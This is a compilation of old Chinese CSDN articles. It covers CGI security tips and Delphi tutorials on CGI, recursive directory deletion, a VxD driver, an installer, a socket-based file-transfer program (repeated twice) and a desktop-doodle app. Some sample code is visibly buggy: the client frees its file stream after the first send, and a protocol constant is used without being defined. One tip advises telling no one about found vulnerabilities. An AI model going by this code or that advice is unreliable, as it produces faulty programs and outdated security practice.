     6 、 将 CGI 程 序 的 使 用 限 制 在 受 保 护 的 环 境 中 ， 服 务 器 设 置 成 非 特 权 用 户 访 问 ， 并 为 CGI 程 序 专 门 设 立 一 个 运 行 帐 户 或 组 。
     7 、 将 运 行 CGI 程 序 的 服 务 器 设 置 在 防 火 墙 外 ， 这 一 点 一 定 要 注 意 ， CGI 程 序 的 服 务 器 必 须 设 置 在 防 火 墙 外 ， 如 果 设 置 在 防 火 墙 内 ， 一 旦 非 法 用 户 找 到 了 CGI 程 序 服 务 器 的 安 全 漏 洞 ， 他 就 可 以 控 制 在 防 火 墙 内 的 所 有 主 机 ！
     8 、 降 低 CGI 程 序 的 运 行 优 先 级 ， 防 治 用 户 恶 意 运 行 大 量 的 CGI 程 序 导 致 服 务 器 过 载 。
     9 、 订 阅 有 关 网 络 安 全 性 的 邮 件 ， 参 加 网 络 安 全 性 的 新 闻 组 。

     CGI 程 序 员 的 工 作 ：
     1 、 同 系 统 管 理 员 合 作 ， 了 解 系 统 的 安 全 信 息 ， 相 互 检 查 代 码 。
     2 、 使 用 可 靠 的 库 程 序 ， 检 查 库 程 序 的 源 代 码 。
     3 、 从 REMOTE_HOST 中 得 到 客 户 机 名 ， 将 一 些 高 级 功 能 限 制 在 受 信 任 的 客 户 机 。
     4 、 如 果 WEB 服 务 器 提 供 HTTP 口 令 确 认 ， 使 用 HTTP 口 令 来 限 制 访 问 。
     5 、 过 滤 用 户 的 输 入 ， 去 除 非 法 的 输 入 数 据 。
     6 、 限 制 输 入 数 据 的 大 小 ， 防 止 恶 意 用 户 输 入 大 量 数 据 使 服 务 器 过 载 。
     7 、 避 免 传 递 用 户 数 据 到 其 他 应 用 程 序 ， 以 免 用 户 调 用 命 令 解 释 器 或 利 用 其 他 应 用 程 序 的 安 全 漏 洞 。
     8 、 发 现 了 CGI 程 序 的 漏 洞 时 ， 不 要 对 任 何 人 讲 ， 更 不 要 在 程 序 中 注 释 说 明 ， 您 应 该 作 的 就 是 立 刻 修 补 漏 洞 。
     9 、 学 作 攻 击 者 ， 找 出 CGI 程 序 的 安 全 漏 洞 。


CSDN_文档中心_用Delphi编写CGI程序（一）

用Delphi编写CGI程序（一）
    1．0 、 CGI 程 序 的 功 能：
      首 先， 什 么 是 公 共 网 关 接 口（ CGI ） 呢？ CGI 是 一 个 用 于 定 义 WEB 服 务 器 与 外 部 程 序 之 间 通 信 方 式 的 标 准， 使 得 外 部 程 序 能 生 成 HTML 、 图 象 或 者 其 他 内 容， 而 服 务 器 处 理 的 方 式 与 那 些 非 外 部 程 序 生 成 的 HTML 、 图 象 或 者 其 他 内 容 的 处 理 方 式 是 相 同 的。 因 此， CGI 程 序 不 仅 使 你 能 生 成 静 态 内 容， 而 且 能 生 成 动 态 内 容。 使 用 CGI 的 原 因 在 于 它 是 一 个 定 义 良 好 并 被 广 泛 支 持 的 标 准。 虽 然， Java 、 ActiveX 等 可 以 完 成 CGI 程 序 的 功 能， 但 并 不 是 所 有 浏 览 器 都 支 持 它 们。 相 反， 所 有 浏 览 器 都 支 持 CGI ， 如： Lynx 、 IE 、 Netscape 等。

      然 而， 和 其 他 技 术 一 样， CGI 也 有 它 的 局 限 性。 本 节 我 就 讲 述 CGI 程 序 的 功 能、 优 点 与 不 足。

1．1 、 CGI 功 能
      有 许 多 任 务， CGI 是 最 佳 的 是 唯 一 的 选 择， 这 些 任 务 可 分 为 三 类： 初 级 任 务、 中 级 任 务 和 高 级 任 务。 初 级 任 务 是 一 些 不 用 怎 么 编 程 的 任 务， 如：

文 本 型 计 数 器
生 成 简 单 的 HTML 的 程 序
少 于 50 行 用 Perl 语 言、 Shell 脚 本、 C 语 言 或 C++ 语 言 编 写 的 程 序
      这 样 的 任 务 用 CGI 来 写 至 少 有 三 点 好 处： 第 一、 CGI 运 行 最 快， 而 Java 等 开 销 太 大； 第 二、 CGI 标 准 于 当 前 浏 览 器 最 兼 容， 这 一 点 在 前 面 已 经 提 到； 第 三、 CGI 资 源 丰 富， 您 在 Internet 上 可 以 找 到 成 千 上 万 的 CGI 代 码。

      中 级 任 务 是 包 括 图 象 映 象 和 其 他 一 些 稍 复 杂 的 程 序 设 计 任 务。 在 中 级 任 务 中， 用 CGI 和 Java 来 编 写 程 序 的 难 易 程 度 差 别 不 大。

      此 类 任 务 包 括：

图 象 映 象
生 成 整 页 的 HTML 的 CGI 脚 本
动 画
      很 有 特 点 的 是， 对 于 高 级 任 务， 用 CGI 比 用 Java 编 程 要 简 单 得 多。 此 类 任 务 有：

后 端 数 据 库 操 作
搜 索 引 擎
多 重 动 态 页 面
      其 中， 后 端 数 据 库 操 作（ 存 取 数 据 库 的 应 用 程 序） 体 现 了 CGI 的 优 越 性。 CGI 有 一 定 的 历 史， 其 中 很 多 有 用 的 功 能 都 在 CGI 的 库 中 由 别 人 做 好 了； 同 时， 许 多 大 公 司 提 供 了 用 CGI 作好的源代码。 Java 是 一 种 程 序 设 计 语 言， 而 CGI 是 网 关 程 序 的 功 能 规 范。 如 果 Java 有 较 大 改 变， 您 得 重 写 整 个 程 序； 而 CGI 有 较 大 变 化 的， 您 只 要 升 级 CGI 库 程 序 即 可。

      然 而， CGI 在 有 些 方 面 还 是 有 局 限 性 的。

1．2 、 CGI 的 局 限 性
      在 图 象 映 象 和 动 画 方 面， CGI 程 序 不 如 Java 程 序 开 发 方 便。 现 在 Java 越 来 越 流 行， CGI 程 序 则 越 来 越 适 合 编 写 简 短 杂 乱 的 程 序 和 数 据 库 应 用 程 序。

1．3 、 CGI 程 序 功 能

      CGI 程 序 的 最 大 特 点 是 可 以 用 任 何 一 种 语 言 编 制， 可 运 行 在 任 何 一 种 平 台 上， 只 要 它 符 合 CGI 的 规 范 即 可。 下 表 是 一 个 比 较：

任 务　　　　　　　　　　　　　　　　　　　　　　　CGI+HTML　　　　　　　HTML

处 理 表 单　　　　　　　　　　　　　　　　　　　　　 Yes　　　　　　　　 No

创 建 WEB 页 面 上 非 静 态 内 容　　　　　　　　　　 Yes　　　　　　　　 No

处 理 图 象 映 象 文 件　　　　　　　　　　　　　　　 Yes　　　　　　　　 Yes

在 WEB 页 面 和 文 档 中 搜 索　　　　　　　　　　　　Yes　　　　　　　　 No

创 建 表 单　　　　　　　　　　　　　　　　　　　　　 Yes　　　　　　　　 Yes

创 建 平 台 无 关 的 文 档　　　　　　　　　　　　　　Yes　　　　　　　　 Yes

创 建 聊 天 室 等 交 互 应 用 程 序　　　　　　　　　 Yes　　　　　　　　 No

页 面 动 态 生 成　　　　　　　　　　　　　　　　　　 Yes　　　　　　　　 No

按 用 户 需 要 进 行 页 面 文 档 裁 剪　　　　　　　　Yes　　　　　　　　 No

      下 面， 我 们 用 一 系 列“ Hello World ” 程 序 结 束 本 讲：
Perl ：
Require "cgi-lib.pl";

print &PrintHeader;
print "\n";
print "Hello World\n";
print &PrintEnv;
exit;

      此 文 件 存 储 在 C:\HTTPD\CGI-BIN 目 录 下， 文 件 名 为 2_1.pl 。 在 浏 览 器 中 用 地 址 http://localhost/cgi-bin/2_1.pl 调 用。 注 意， 此 时 OmniHTTPD 应 在 运 行。 如 果 一 切 正 常， 您 可 以 在 浏 览 器 中 看 见“ Hello World ” 和 环 境 变 量。

C ： #include
#include "html-lib.h"
#include "cgi-lib.h"

int main()
{
      html_header();
      html_begin("Test CGI");
      h1("CGI Program");
      printf("\n");
      h2("CGI Environment Variables");
      print_cgi_env();
      html_end();
      return 0; }

      编 译 后 将 可 执 行 文 件 复 制 到 C:\HTTPD\CGI-BIN 下， 改 名 为 2_1.cgi ， 用 地 址 http://localhost/cgi-bin/2_1.cgi 调 用。


CSDN_文档中心_用Delphi编写DelTree程序

    Delphi提供了关于文件操作的许多函数，其中关于目录操作的有目录的创建与删除、设置当前目录、获取当前目录等。目录的删除有函数（Function）RemoveDir和过程（Procedure）RmDir，但它们都只能删除空目录，对于非空目录则不能删除。要实现删除整个目录树（DelTree）必须编写程序来删除其中的子目录和文件。

    目录中的文件可以通过调用函数DeleteFile来删除，但对于特殊文件（只读、系统、隐藏等）则不能有效删除，必须更改文件属性为普通文件才能删除。更改文件属性可以用函数FileSetAttr，这里将特殊文件的属性设置为普通文件属性（属性值为0）。

    考虑到树型目录结构最适合于递归方法，所有这里用递归算法来实现DelTree函数。下面是具体实现程序。

    //path是需删除的目录路径

    //目录成功删除返回True，否则返回False

    function TForm1.Deltree (path : string): Boolean ;

    var

     SearchRec: TSearchRec;

    begin

    //判断目录是否存在

if DirectoryExists(path) then

begin

    //进入该目录，删除其中的子目录和文件

     oldDir := GetCurrentDir;

     ChDir(path);

    //查找目录中所有任何文件

    FindFirst(′.′, faAnyFile, SearchRec);

    repeat

    //修改文件属性为普通属性值

     FileSetAttr(SearchRec.Name,0);

    //如果是目录并且不是.和..则递归调用DelTree

    if(SearchRec.Attr and faDirectory > 0) then

    begin

    if(SearchRec.Name[1]<>′.′) then

    if(not Deltree(SearchRec.Name)) then

    break;

    end

    //如果是文件直接删除

    else

    if(not DeleteFile(SearchRec.Name))then

    break ;

    //继续查找，直到最后

    until (FindNext(SearchRec)<>0) ;

    //回到父目录，删除该目录

    ChDir(′..′);

    Result := ReMoveDir(path);

SetCurrentDir(oldDir);

    end

    else

    Result := False ;

    end ;

    该程序在Windows 98、Delphi 4.0下编译通过。


CSDN_文档中心_用Delphi编写VxD设备驱动程序

用Delphi编写VxD设备驱动程序
前言
用 Delphi 3.0 编写 VxD 设备驱动程序，在Delphi 3 下编译通过，Delphi 2 下没有测试，Delphi 4 建立的 Object 文件 M$ Linker 5.12.8181 不能识别，这里使用的汇编器是M$的Macro Assembler ver. 6.11d ，联结器是M$ Incremental Linker ver. 5.12.8181 ，它们来自 Windows 98DDK(http://www.microsoft.com/ddk/ddk98.htm)。

介绍
Windows 存在有两种类型的 VxD 设备驱动程序：
1、静态(Static) VxD ，装入操作系统并永久的存在于内存中；
2、动态(Dynamic) VxD，当需要时才调入内存，用完后关闭VxD即可释放内存。
Inprise Delphi 有能力建立任何一种类型的 VxD 设备驱动程序，下面我们将介绍如何建立动态 VxD。
当 Win32 应用程序打开一个 VxD “虚拟”设备时，VWIN32 使用 LoadDevice 将 VxD 装入内存，并建立消息W32_DEVICEIOCONTROL ，发向 VxD。
也就是说，VxD 至少应该响应以下两个系统信息和编写以下的一个函数：
SYS_DYNAMIC_DEVICE_INIT
SYS_DYNAMIC_DEVICE_EXIT
W32_DEVICEIOCONTROL 函数.
消息 SYS_DYNAMIC_DEVICE_INIT 在尝试装入 VxD 时发送到 VxD ，消息 SYS_DYNAMIC_DEVICE_EXIT 在尝试动态交换时发送到 VxD ，消息的处理者在成功处理后，应该在寄存器 AX 中返回 VXD_SUCCESS 标志。

W32_DEVICEIOCONTROL 的 dwService 参数有以下的值：
DIOC_OPEN 当 VxD 通过 CreateFile() 函数尝试打开操作时发送（在 SYS_DYNAMIC_DEVICE_INIT 消息后），如果成功返回 NO_ERROR (0);
DIOC_CLOSEHANDLE 当 VxD 通过 CloseHandle() 函数尝试关闭操作时发送（在 SYS_DYNAMIC_DEVICE_EXIT 前）
所有其它的值 > 0 意味着不同的函数调用（由 dwIoControlCode 给出），当 VxD 被 DeviceIoControl 函数调用时。

启动模块(vxdmain.asm)
...
extrn SysDynamicDeviceInit :PROC
extrn SysDynamicDeviceExit :PROC
extrn W32DeviceIoControl :PROC
...
PUBLIC DELPHIIO_DDB
Public @@HandleFinally
Public @initialization
...
Control_0 proc
cmp eax, SYS_DYNAMIC_DEVICE_INIT
jnz short chkSysDynExit
call SysDynamicDeviceInit
cmp eax, 1
retn
;-------------

chkSysDynExit:
cmp eax, SYS_DYNAMIC_DEVICE_EXIT
jnz short chkDevIOCtl
call SysDynamicDeviceExit
cmp eax, 1
retn
;-------------
chkDevIOCtl:
cmp eax, W32_DEVICEIOCONTROL
jnz short loc_ret
push esi
push edx
push ebx
push ecx
call W32DeviceIoControl
cmp eax, 1
retn
;-------------
loc_ret:
clc
retn

Control_0 endp

@@HandleFinally:
@initialization:
ret

_LTEXT ends
END

Delphi 会为单元的 initialization/finalization 建立代码调用外部过程 HandleFinaly 和 initialization ，即使 initialization/finalization 在单元中不存在。因此我们在汇编的启动文件中建立空的外部过程入口。

主 Delphi 程序单元(vxdProcs.pas)
...
procedure ShellMessage(Handle, Flags : integer; const Message, Caption : PChar;
Callback, ReferenceData : pointer); stdcall; assembler;
asm
mov ebx, Handle // virtual machine handle
mov eax, Flags // message box flags
mov ecx, Message // address of message text
mov edi, Caption // address of caption text
mov esi, Callback // address of callback
mov edx, ReferenceData // reference data for callback

int 20H // VxDCall
dd 170004h // Shell_Message
end;

function SysDynamicDeviceInit : INTEGER;
begin
ShellMessage(0, $10, Copyright, 'SysDynInit: Hello from Delphi VxD !!!', nil, nil);
Result := VXD_SUCCESS;
end;

function SysDynamicDeviceExit : INTEGER;
begin
ShellMessage(0, $10, Copyright, 'SysDynDevExit: Bye from Delphi VxD !!!', nil, nil);
Result := VXD_SUCCESS;
end;

function W32DeviceIoControl(dwService : INTEGER;
dwDDB : INTEGER;
hDevice : INTEGER;
lpDIOCParms : pointer) : INTEGER;
begin
ShellMessage(0, $10, Copyright, 'W32DevIOCtl', nil, nil);

if (dwService = DIOC_OPEN) then
begin
Result := NO_ERROR;
end
else if (dwService = DIOC_CLOSEHANDLE) then
begin
Result := VXD_SUCCESS;
end
else if (dwService > MAX_PASVXD_W32_API) then
begin
Result := ERROR_NOT_SUPPORTED;
end
else
begin
Result := VXD_SUCCESS;
end;
end;
...

[译者：好了，简单的 VxD 设备驱动程序编写完毕了。你可以将它当作一个写 VxD 设备驱动程序的模板。]

附一：Make.bat
D:\VISUAL~1\98DDK\BIN\Win98\ml -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 vxdmain.asm
call dcc3.bat -J vxdprocs.pas
D:\VISUAL~1\98DDK\BIN\link /DEF:vxddef.def /VXD vxdmain.obj vxdprocs /OUT:delphiio.vxd

附二：
现在让我们来编写对该 VxD 的测试程序，两个按钮：一个打开 VxD；一个关闭 VxD。

const
VxDName = '\\.\DELPHIIO.VXD';

...

function TVxDTestForm.OpenVxDDriver: boolean;
begin
HVxDHandle := CreateFile(VxDName,0,0,nil,0,FILE_FLAG_DELETE_ON_CLOSE,0);
Result := HVxDHandle <> INVALID_HANDLE_VALUE;
end;

procedure TVxDTestForm.CloseVxDDriver;
begin
if HVxDHandle <> INVALID_HANDLE_VALUE then begin
CloseHandle(HVxDHandle);
HVxDHandle := INVALID_HANDLE_VALUE;
end;
end


CSDN_文档中心_用Delphi编写安装程序(1)

用Delphi编写安装程序(1)

[ 作者: 俞文群 添加时间: 2001-5-5 18:01:08 ]

当你完成一个应用软件的开发后，那么你还需要为该软件做一个规范化的安装程序，这是程序设计的最后一步，同时也是很重要的一步，因为运行安装程序往往是用户做的第一步操作。

    很多报刊文章介绍了许多如何利用installshield等工具软件来制作安装程序的方法，这种办法可以很快建立起较常见的安装模式，但用这种办法也有一些不足，如做成的安装程序一般较大；风格较单一；不能灵活的控制启动方式和快捷方式。其实安装程序的的几个运行步骤较固定，我们完全可以自己来编写安装程序。下面就详细介绍如何用DELPHI编写具有自己软件特色的安装程序。

    安装程序要达到的几个原则，如配置的一次性等，在有关杂志上已有许多文章介绍，就不再累述。这里主要介绍安装程序编写中几个主要过程：

1、将需要安装的程序制作成资源文件
    Step 1:编写myres.rc资源脚本文件，可用记事本等编写。

    MYDBSRC mydbsrcfile c:\resdemo\mynbdb.mdb

    MYDBJET mydbjetfile c:\resdemo\mdac_typ.exe

    MYDBAPP mydbappfile c:\resdemo\Tnbdemo.exe

    7001 Icon c:\resdemo\setup.ico

    Step 2:利用BRCC32编译生成资源文件myres.res。

    brcc32.exe myres.rc

2、编写安装程序代码
    Step 1: 在setup.dpr文件中加入{$R mymyres.RES} 语句，这样在编译文件时包含资源文件。

    Step 2: 编写安装程序背景界面。

     //界面色彩渐变效果是通过用渐变的画刷刷绘依次相邻的矩形块实现的。

    //也可以实现其它特殊效果的安装界面。

    var i,j:Integer;

    Dct:TRect;

    begin

    form1.WindowState:=wsMaximized;

    j:=form1.width;

    //获得表单高度

    for i:=0 to 255 do

    //此处设置RGB()中一个颜色值

    begin

    Canvas.Brush.Color:=RGB(0,0,255-i);

    //每次画矩形的画刷颜色 (左，上，右，下）

    //Dct:=Rect(i*2,0,(i+1)*2,j);

    Dct:=Rect(0,i*2,j,(i+1)*3);

    //每次刷绘的矩形区域

    Canvas.FillRect(Dct);

    Form1.Canvas.TextRect(Dct,30,40,'宁波大学课件管理系统 v1.0');

    //填充颜色

    end;

    end;

    Step 3：创建主程序工作目录

    //设置目录环境及配置文件

    if not DirectoryExists(EdtDir.Text) then

    //　　 if MessageBox(getfocus,'该目录不存在,是否创建该目录?','询问',1) = idOK then

         try

             ForceDirectories(EdtDir.Text);


CSDN_文档中心_用Delphi编写点对点传文件程序(1)

用Delphi编写点对点传文件程序(1)

文章摘要:
  Delphi功能强大，用Delphi写软件，可以大大缩短软件的开发周期。本文介绍怎样用Delphi编写点对点传文件程序。

--------------------------------------------

    Delphi功能强大，用Delphi写软件，可以大大缩短软件的开发周期。关于点对点传文件的基本思路，就是一个服务器软件，一个客户端软件，使用同一个端口，待连接上以后，客户端给服务器发送一个请求，包括待传的文件的文件名，大小等，如果服务器接受，就开始传文件。当然，文件传输的时候可以有两种模式，ASCII码和Bin，不过一般通用Bin 就可以了。基于上面的讨论，本来用Delphi4的NMStrm，NMStrmServ 控件就可以完成，但是我测试过了，NMStrm控件对于较小的文件还可以使用，而且很方便，但是如果文件一大(1M)就会出错。所以接下来我们利用Delphi中TServerSocket和TClientSocket写这个程序由于以太包大小的限制以及DelphiSocket的处理机制(Delphi中，当你用一个Socket发送一个较大的Stream，接受方会激发多次OnRead事件，Delphi她只保证多次OnRead事件中每次数据的完整，而不会自己收集数据并返回给用户。所以不要以为你把待传文件在一个Socket中Send一次，另一个中Recv一次就可以了。你必须自己收集数据或自己定义协议。)，所以我们采用自定义协议的方法。定义协议的规范方法是利用Record End。如：
TMyFileProtocol=Record
sSendType=(ST_QUERY,ST_REFUSE,ST_DATA,ST_ABORT,...);
iLength:integer;
bufSend:Buffer;
End;
    我曾试过这个办法，但失败了，而且我一直认为我的方法是正确的，但程序一直编译通不过，估计是Delphi有问题:) 所以我在下列的范例程序中利用另外一种办法。Socket 类中有两属性ReceiveText和ReceiveBuf，在一个OnRead事件中，只能使用一次该两属性，所以我们可以利用一个全程变量来保存是该读Text还是Buf，也就是说读一次Text，再都一次Buf，这就模拟了TMyFileProtocol。

开始程序：
写一个最简单的，主要用于讲解方法。
定义协议：
Const
MP_QUERY ='1';
MP_REFUSE ='2';
MP_ACCEPT ='3';
MP_NEXTWILLBEDATA='4';
MP_DATA ='5';
MP_ABORT ='6';
MP_OVER ='7';
MP_CHAT ='8';

协议简介：
首先由Client发送MP_QUERY，Server接受到后发送MP_ACCEPT或MP_FEFUESE；
Client接受到MP_ACCEPT发送MP_FILEPROPERTY，Server接受到后发送MP_NEXTWILLBEDATA；
Client接受到发送MP_NEXTWILLBEDATA，Server接受到后发送MP_DATA；
Client接受到MP_DATA，发送数据，Server接受数据，并发送MP_NEXTWILLBEDATA；
循环，直到Client发送MP_OVER；
中间可以互相发送MP_CHAT+String；

Server程序：
放上以下控件:SaveDialog1,btnStartServer,
ss,(TServerSocket)

btnStartServer.OnClick(Sender:TObject);
begin
ss.Port:=2000;
ss.Open;
end;

ss.OnClientRead(Sender: TObject;Socket: TCustomWinSocket);
var
sTemp:string;
bufRecv:Pointer;
iRecvLength:integer;
begin
if bReadText then
begin
sTemp:=Socket.ReceiveText;
case sTemp[1] of
MP_QUERY:begin
//在这里拒绝
SaveDialog1.FileName:=Copy(sTemp,2,Length(STemp));
if SaveDialog1.Execute then
begin
Socket.SendText(MP_ACCEPT);
fsRecv:=TFileStream.Create(SaveDialog1.FileName,fmCreate);
end
else Socket.SendText(MP_REFUSE+'去死');
end;
MP_FILEPROPERTY:begin
//要发送StrToInt(Copy(sTemp,2,Length(sTemp))) 次
//时间进度显示。。。
Socket.SendText(MP_NEXTWILLBEDATA);
end;
MP_NEXTWILLBEDATA:begin
Socket.SendText(MP_DATA);
bReadText:=false;
end;
MP_END:begin
fsRecv.Free
bReadText:=true;
end;
MP_ABORT:begin
fsRecv.Free;
bReadText:=true;
end;
MP_CHAT:begin
//Chat Msg
end;
end;{of case}
end
else begin
try
GetMem(bufRecv,2000);//2000 must >iBYTESEND
Socket.ReceiveBuf(bufRecv^,iRecvLength);
fsRecv.WriteBuffer(bufRecv^,iRecvLength);
finally
FreeMem(bufRecv,2000);
end;{of try}
bReadText:=true;
Socket.SendText(MP_NEXTWILLBEDATA);
end;
end;

Client程序：
放上以下控件：edtIPAddress,OpenDialog1,btnConnect,btnSendFile,
cs. (TClientSocket)

btnConnect.OnClick(Sender:TObject);
begin
cs.Address:=edtIPAddress.Text;
cs.Port:=2000;
cs.Connect;
end;

btnSendFile.OnClick(Sender:TObject);
begin
if OpenDialog1.Execute then
Begin
cs.Socket.SendText(MP_QUERY+OpenDialog1.FileName);//FileSize???


CSDN_文档中心_用Delphi编写点对点传文件程序(2)

用Delphi编写点对点传文件程序(2)

end;
end;

cs.OnRead(Sender: TObject;Socket: TCustomWinSocket);
var
sTemp:string;
bufSend:pointer;
begin
sRecv:=Socket.ReceiveText;
Case sRecv[1] of
MP_REFUSE:ShowMessage('Faint,be refused!');
MP_ACCEPT:begin
fsSend:=TFileStream.Create(OpenDialog1.FileName,fmOpen);
//iBYTEPERSEND是个常量，每次发送包的大小。
Socket.SendText(MP_FILEPROPERTY+Trunc(fsSend.Size/iBYTEPERSEND)+1);
end;
MP_NEXTWILLBEDATA:begin
Socket.SendText(MP_NEXTWILLBEDATA);
end;
MP_DATA:begin
try
GetMem(bufSend,iBYTEPERSEND+1);
if (fsSend.Position+1+iBYTEPERSEND) < fsSend.Size then
begin
fsSend.Read(bufSend^,iBYTEPERSEND);
Socket.SendBuf(bufSend^,iBYTEPERSEND);
fsSend.Free;
end//普通的发送，大小为iBYTEPERSEND
else begin
fsSend.Read(bufSend^,fsSend.Size-fsSend.Position-1);
Socket.SendBuf(bufSend^,fsSend.Size-fsSend.Position-1);
end;//最后一次发送，发送剩余的数据
finally
FreeMem(bufSend,iBYTEPERSEND+1);
end;{of try}
end;
MP_ABORT:begin
//被取消了:(
fsSend.Free;
end;
end;{of case}
end;

整理程序：
    加入错误判断，优化程序，把Server和Client联合在一起，加入剩余时间进度显示，做成能一次传多个文件，加入聊天功能，就成了一个很好的点对点传文件的程序。


CSDN_文档中心_用Delphi编写点对点传文件程序

文章摘要:
      Delphi功能强大，用Delphi写软件，可以大大缩短软件的开发周期。本文介绍怎样用Delphi编写点对点传文件程序。
正文:

用Delphi编写点对点传文件程序

    Delphi功能强大，用Delphi写软件，可以大大缩短软件的开发周期。关于点对点传文件的基本思路，就是一个服务器软件，一个客户端软件，使用同一个端口，待连接上以后，客户端给服务器发送一个请求，包括待传的文件的文件名，大小等，如果服务器接受，就开始传文件。当然，文件传输的时候可以有两种模式，ASCII码和Bin，不过一般通用Bin 就可以了。基于上面的讨论，本来用Delphi4的NMStrm，NMStrmServ 控件就可以完成，但是我测试过了，NMStrm控件对于较小的文件还可以使用，而且很方便，但是如果文件一大(1M)就会出错。所以接下来我们利用Delphi中TServerSocket和TClientSocket写这个程序由于以太包大小的限制以及DelphiSocket的处理机制(Delphi中，当你用一个Socket发送一个较大的Stream，接受方会激发多次OnRead事件，Delphi她只保证多次OnRead事件中每次数据的完整，而不会自己收集数据并返回给用户。所以不要以为你把待传文件在一个Socket中Send一次，另一个中Recv一次就可以了。你必须自己收集数据或自己定义协议。)，所以我们采用自定义协议的方法。定义协议的规范方法是利用Record End。如：
TMyFileProtocol=Record
sSendType=(ST_QUERY,ST_REFUSE,ST_DATA,ST_ABORT,...);
iLength:integer;
bufSend:Buffer;
End;
    我曾试过这个办法，但失败了，而且我一直认为我的方法是正确的，但程序一直编译通不过，估计是Delphi有问题:) 所以我在下列的范例程序中利用另外一种办法。Socket 类中有两属性ReceiveText和ReceiveBuf，在一个OnRead事件中，只能使用一次该两属性，所以我们可以利用一个全程变量来保存是该读Text还是Buf，也就是说读一次Text，再都一次Buf，这就模拟了TMyFileProtocol。

开始程序：
写一个最简单的，主要用于讲解方法。
定义协议：
Const
MP_QUERY ='1';
MP_REFUSE ='2';
MP_ACCEPT ='3';
MP_NEXTWILLBEDATA='4';
MP_DATA ='5';
MP_ABORT ='6';
MP_OVER ='7';
MP_CHAT ='8';

协议简介：
首先由Client发送MP_QUERY，Server接受到后发送MP_ACCEPT或MP_FEFUESE；
Client接受到MP_ACCEPT发送MP_FILEPROPERTY，Server接受到后发送MP_NEXTWILLBEDATA；
Client接受到发送MP_NEXTWILLBEDATA，Server接受到后发送MP_DATA；
Client接受到MP_DATA，发送数据，Server接受数据，并发送MP_NEXTWILLBEDATA；
循环，直到Client发送MP_OVER；
中间可以互相发送MP_CHAT+String；

Server程序：
放上以下控件:SaveDialog1,btnStartServer,
ss,(TServerSocket)

btnStartServer.OnClick(Sender:TObject);
begin
ss.Port:=2000;
ss.Open;
end;

ss.OnClientRead(Sender: TObject;Socket: TCustomWinSocket);
var
sTemp:string;
bufRecv:Pointer;
iRecvLength:integer;
begin
if bReadText then
begin
sTemp:=Socket.ReceiveText;
case sTemp[1] of
MP_QUERY:begin
//在这里拒绝
SaveDialog1.FileName:=Copy(sTemp,2,Length(STemp));
if SaveDialog1.Execute then
begin
Socket.SendText(MP_ACCEPT);
fsRecv:=TFileStream.Create(SaveDialog1.FileName,fmCreate);
end
else Socket.SendText(MP_REFUSE+'去死');
end;
MP_FILEPROPERTY:begin
//要发送StrToInt(Copy(sTemp,2,Length(sTemp))) 次
//时间进度显示。。。
Socket.SendText(MP_NEXTWILLBEDATA);
end;
MP_NEXTWILLBEDATA:begin
Socket.SendText(MP_DATA);
bReadText:=false;
end;
MP_END:begin
fsRecv.Free
bReadText:=true;
end;
MP_ABORT:begin
fsRecv.Free;
bReadText:=true;
end;
MP_CHAT:begin
//Chat Msg
end;
end;{of case}
end
else begin
try
GetMem(bufRecv,2000);//2000 must >iBYTESEND
Socket.ReceiveBuf(bufRecv^,iRecvLength);
fsRecv.WriteBuffer(bufRecv^,iRecvLength);
finally
FreeMem(bufRecv,2000);
end;{of try}
bReadText:=true;
Socket.SendText(MP_NEXTWILLBEDATA);
end;
end;

Client程序：
放上以下控件：edtIPAddress,OpenDialog1,btnConnect,btnSendFile,
cs. (TClientSocket)

btnConnect.OnClick(Sender:TObject);
begin
cs.Address:=edtIPAddress.Text;
cs.Port:=2000;
cs.Connect;
end;

btnSendFile.OnClick(Sender:TObject);
begin
if OpenDialog1.Execute then
Begin
cs.Socket.SendText(MP_QUERY+OpenDialog1.FileName);//FileSize???
end;
end;

cs.OnRead(Sender: TObject;Socket: TCustomWinSocket);
var
sTemp:string;
bufSend:pointer;
begin
sRecv:=Socket.ReceiveText;
Case sRecv[1] of
MP_REFUSE:ShowMessage('Faint,be refused!');
MP_ACCEPT:begin
fsSend:=TFileStream.Create(OpenDialog1.FileName,fmOpen);
//iBYTEPERSEND是个常量，每次发送包的大小。
Socket.SendText(MP_FILEPROPERTY+Trunc(fsSend.Size/iBYTEPERSEND)+1);
end;
MP_NEXTWILLBEDATA:begin
Socket.SendText(MP_NEXTWILLBEDATA);
end;
MP_DATA:begin
try
GetMem(bufSend,iBYTEPERSEND+1);
if (fsSend.Position+1+iBYTEPERSEND) < fsSend.Size then
begin
fsSend.Read(bufSend^,iBYTEPERSEND);
Socket.SendBuf(bufSend^,iBYTEPERSEND);
fsSend.Free;
end//普通的发送，大小为iBYTEPERSEND
else begin
fsSend.Read(bufSend^,fsSend.Size-fsSend.Position-1);
Socket.SendBuf(bufSend^,fsSend.Size-fsSend.Position-1);
end;//最后一次发送，发送剩余的数据
finally
FreeMem(bufSend,iBYTEPERSEND+1);
end;{of try}
end;
MP_ABORT:begin
//被取消了:(
fsSend.Free;
end;
end;{of case}
end;

整理程序：
    加入错误判断，优化程序，把Server和Client联合在一起，加入剩余时间进度显示，做成能一次传多个文件，加入聊天功能，就成了一个很好的点对点传文件的程序。


CSDN_文档中心_用Delphi编写涂鸦桌面的小程序

有很多的关于涂鸦桌面的小软件，确实很好玩，现在来用Delphi实现之。我建议使用Delphi，因为他做这个简直太

Easy了！

首先，新建一个Application，将Form1的WindowState设为wsMaximized，BorderStyle设为bsNone。这样做的目的就是

可以使窗口的Client区域充满整个屏幕，那么我们就可以在上面随意的画画了。

接下来，在Form的OnCreate事件中写入使窗口的客户区域显示屏幕画面的代码（关键步骤）

procedure TForm1.FormCreate(Sender: TObject);
begin
Brush.Style :=bsClear;//这里的实现方法用Delphi是最简单的了
end;

好了，以后加入画图的程序就可以了。下面是全部的Delphi代码，本程序在Win2000 + Delphi6中调试通过！

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
implementation

{$R *.dfm}
//上面都是Delphi自动生成的代码
procedure TForm1.FormCreate(Sender: TObject);
begin
Brush.Style :=bsClear;
